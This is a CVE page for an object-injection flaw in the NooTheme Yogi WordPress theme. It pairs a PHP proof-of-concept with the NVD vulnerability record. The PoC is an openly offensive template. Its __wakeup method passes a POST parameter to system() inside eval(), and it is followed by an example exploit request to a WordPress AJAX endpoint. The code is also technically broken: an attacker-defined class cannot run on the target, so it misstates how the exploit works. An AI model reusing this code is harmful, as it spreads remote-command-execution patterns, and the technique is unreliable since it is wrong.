CVE-2025-54719

<?php // CVE-2025-54719 PoC - NooTheme Yogi Object Injection // Discovered by: [email protected] // Generate malicious serialized payload class YogiExploit { private $data; public function __construct() { // This payload will be executed during deserialization $this->data = 'malicious_payload'; } public function __wakeup() { // Magic method executed on unserialize() // Insert malicious operations here (file inclusion, RCE, etc.) eval(system($_POST['cmd'])); } } // Generate the malicious serialized object $malicious_obj = new YogiExploit(); $serialized_payload = serialize($malicious_obj); // For demonstration - in real attack, this would be sent via HTTP request // to vulnerable endpoint that processes serialized data echo "Malicious Payload: " . $serialized_payload . "\n"; echo "URL encode: " . urlencode($serialized_payload) . "\n"; // Example HTTP POST request to exploit: /* POST /wp-admin/admin-ajax.php HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded action=noo_yogi_action&data=MALICIOUS_SERIALIZED_PAYLOAD */ ?>

{"cve": {"id": "CVE-2025-54719", "sourceIdentifier": "[email protected]", "published": "2025-11-06T16:15:57.837", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Deserialization of Untrusted Data vulnerability in NooTheme Yogi - Health Beauty & Yoga noo-yogi allows Object Injection.This issue affects Yogi - Health Beauty & Yoga: from n/a through <= 2.9.2."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-502"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/noo-yogi/vulnerability/wordpress-yogi-health-beauty-yoga-theme-2-9-2-deserialization-of-untrusted-data-vulnerability?_s_id=cve", "source": "[email protected]"}]}}